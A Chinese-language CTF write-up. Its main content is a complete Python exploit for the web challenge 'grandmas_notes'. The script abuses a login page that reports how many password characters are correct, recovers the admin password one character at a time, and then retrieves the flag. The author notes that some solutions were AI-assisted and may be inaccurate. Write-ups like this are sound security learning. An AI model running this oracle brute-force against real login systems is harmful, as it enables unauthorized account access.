這次跟社團開了一場 CTF，以下是我解的題目的解法，有些是用 AI 解再回去補知識的，尤其是 Crypto，所以內容可能不一定正確
Web grandmas_notes 網站是一個簡單的登入系統，根據題目檔案觀察，應該只有一個使用者 admin，登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。
問題出在 login.php 裡面裡面有說會回報正確的字元數，所以可以走 oracle 的方式去做比對然後破解，逐個字元爆破
1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!"; exploit.py
1import re 2import sys 3import time 4import random 5from typing import Optional 6import requests 7 8DEFAULT_BASE = "http://52.59.124.14:5015" 9CHARSET = ( 10 "abcdefghijklmnopqrstuvwxyz" 11 "0123456789" 12 "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~" 13 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 14 "'\"" 15) 16 17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE) 18 19def parse_flash_count(html: str) -> Optional[int]: 20 m = FLASH_RGX.search(html) 21 if not m: 22 return None 23 return int(m.group(1)) 24 25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]: 26 resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15) 27 if "Dashboard" in resp.text and "Logged in as" in resp.text: 28 return True, None 29 n = parse_flash_count(resp.text) 30 return False, n 31 32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str: 33 s = requests.Session() 34 prefix = "" 35 last_n = 0 36 print(f"[+] Target: {base} user={username}") 37 print("[+] Starting prefix oracle attack...") 38 for pos in range(max_len): 39 found = None 40 for c in CHARSET: 41 candidate = prefix + c 42 ok, n = attempt(s, base, username, candidate) 43 if ok: 44 print(f"[+] Logged in early with full password: {candidate}") 45 return candidate 46 if n is None: 47 time.sleep(0.2 + random.random() * 0.3) 48 ok2, n2 = attempt(s, base, username, candidate) 49 if ok2: 50 print(f"[+] Logged in early with full password: {candidate}") 51 return candidate 52 n = n2 53 if n is None: 54 print(f" [?] No flash parsed at pos={pos}, char={repr(c)} (continuing)") 55 continue 56 if n > last_n: 57 found = c 58 last_n = n 59 prefix = candidate 60 print(f"[{pos:02d}] ✓ Found next char: {repr(c)} -> prefix now: {prefix!r}") 61 break 62 if found is None: 63 print("[!] No candidate increased the match count.") 64 ok, _ = attempt(s, base, username, prefix) 65 if ok: 66 print(f"[+] Logged in with recovered password: {prefix}") 67 return prefix 68 else: 69 print("[!] Likely the next character is outside the current CHARSET.") 70 print(" Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).") 71 break 72 time.sleep(0.05) 73 return prefix 74 75 76def fetch_flag(base: str, s: requests.Session) -> Optional[str]: 77 r = s.get(f"{base}/dashboard.php", timeout=15) 78 if r.status_code != 200: 79 print(f"[!] Dashboard fetch failed: HTTP {r.status_code}") 80 return None 81 m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE) 82 if not m: 83 return None 84 note = m.group(1) 85 return note.strip() 86 87def main(): 88 base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE 89 username = "admin" 90 s = requests.Session() 91 recovered = recover_password(base, username=username, max_len=32) 92 ok, _ = attempt(s, base, username, recovered) 93 if not ok: 94 print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}") 95 sys.exit(2) 96 print(f"[+] Logged in as {username}. Fetching note...") 97 note = fetch_flag(base, s) 98 if note is None: 99 print("[!] Could not find the note textarea.") 100 sys.exit(3) 101 print("\n=== NOTE ===") 102 print(note) 103 print("============") 104 print("[*] If the note contains the flag, you're done!") 105 106if __name__ == "__main__": 107 main() pwgen source code
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